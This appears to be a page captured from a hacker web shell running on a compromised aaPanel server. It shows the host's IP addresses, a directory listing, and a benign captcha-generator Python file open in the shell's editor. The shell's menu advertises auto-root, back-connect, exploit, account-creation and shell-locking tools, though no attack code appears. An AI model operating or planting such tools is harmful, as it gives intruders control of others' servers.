Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.216.237.210
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vilidate_v2.py
#!/usr/bin/env python # coding: utf-8 # +------------------------------------------------------------------- # | aaPanel # +------------------------------------------------------------------- # | Copyright (c) 2015-2099 宝塔(http://www.aapanel.com) All rights reserved. # +------------------------------------------------------------------- # | Author: hwliang <hwl@aapanel.com> # +------------------------------------------------------------------- import random, math from PIL import Image, ImageDraw, ImageFont, ImageFilter class vieCode: __fontSize = 20 #字体大小 __width = 120 #画布宽度 __heigth = 45 #画布高度 __length = 4 #验证码长度 __draw = None #画布 __img = None #图片资源 __code = None #验证码字符 __str = None #自定义验证码字符集 __inCurve = True #是否画干扰线 __inNoise = True #是否画干扰点 __type = 2 #验证码类型 1、纯字母 2、数字字母混合 __fontPatn = 'class/fonts/2.ttf' #字体 def GetCodeImage(self,size = 80,length = 4): '''获取验证码图片 @param int size 验证码大小 @param int length 验证码长度 ''' #准备基础数据 self.__length = length self.__fontSize = size self.__width = self.__fontSize * self.__length self.__heigth = int(self.__fontSize * 1.5) #生成验证码图片 self.__createCode() self.__createImage() self.__createNoise() self.__printString() self.__cerateFilter() return self.__img,self.__code def __cerateFilter(self): '''模糊处理''' self.__img = self.__img.filter(ImageFilter.BLUR) filter = ImageFilter.ModeFilter(8) self.__img = self.__img.filter(filter) def __createCode(self): '''创建验证码字符''' #是否自定义字符集合 if not self.__str: #源文本 number = "3456789" srcLetter = "qwertyuipasdfghjkzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" srcUpper = srcLetter.upper() if self.__type == 1: self.__str = number else: self.__str = srcLetter + srcUpper + number #构造验证码 self.__code = random.sample(self.__str,self.__length) def __createImage(self): '''创建画布''' bgColor = (random.randint(200,255),random.randint(200,255),random.randint(200,255)) self.__img = Image.new('RGB', (self.__width,self.__heigth), bgColor) self.__draw = ImageDraw.Draw(self.__img) def __createNoise(self): '''画干扰点''' if not self.__inNoise: return font = ImageFont.truetype(self.__fontPatn, int(self.__fontSize / 1.5)) for i in range(5): #杂点颜色 noiseColor = (random.randint(150,200), random.randint(150,200), random.randint(150,200)) putStr = random.sample(self.__str,2) for j in range(2): #绘杂点 size = (random.randint(-10,self.__width), random.randint(-10,self.__heigth)) self.__draw.text(size,putStr[j], font=font,fill=noiseColor) pass def __createCurve(self): '''画干扰线''' if not self.__inCurve: return x = y = 0; #计算曲线系数 a = random.uniform(1, self.__heigth / 2) b = random.uniform(-self.__width / 4, self.__heigth / 4) f = random.uniform(-self.__heigth / 4, self.__heigth / 4) t = random.uniform(self.__heigth, self.__width * 2) xend = random.randint(self.__width / 2, self.__width * 2) w = (2 * math.pi) / t #画曲线 color = (random.randint(30, 150), random.randint(30, 150), random.randint(30, 150)) for x in range(xend): if w!=0: for k in range(int(self.__heigth / 10)): y = a * math.sin(w * x + f)+ b + self.__heigth / 2 i = int(self.__fontSize / 5) while i > 0: px = x + i py = y + i + k self.__draw.point((px , py), color) i -= i def __printString(self): '''打印验证码字符串''' font = ImageFont.truetype(self.__fontPatn, self.__fontSize) x = 0; #打印字符到画板 for i in range(self.__length): #设置字体随机颜色 color = (random.randint(30, 150), random.randint(30, 150), random.randint(30, 150)) #计算座标 x = random.uniform(self.__fontSize*i*0.95,self.__fontSize*i*1.1); y = self.__fontSize * random.uniform(0.3,0.5); #打印字符 self.__draw.text((x, y),self.__code[i], font=font, fill=color)
Close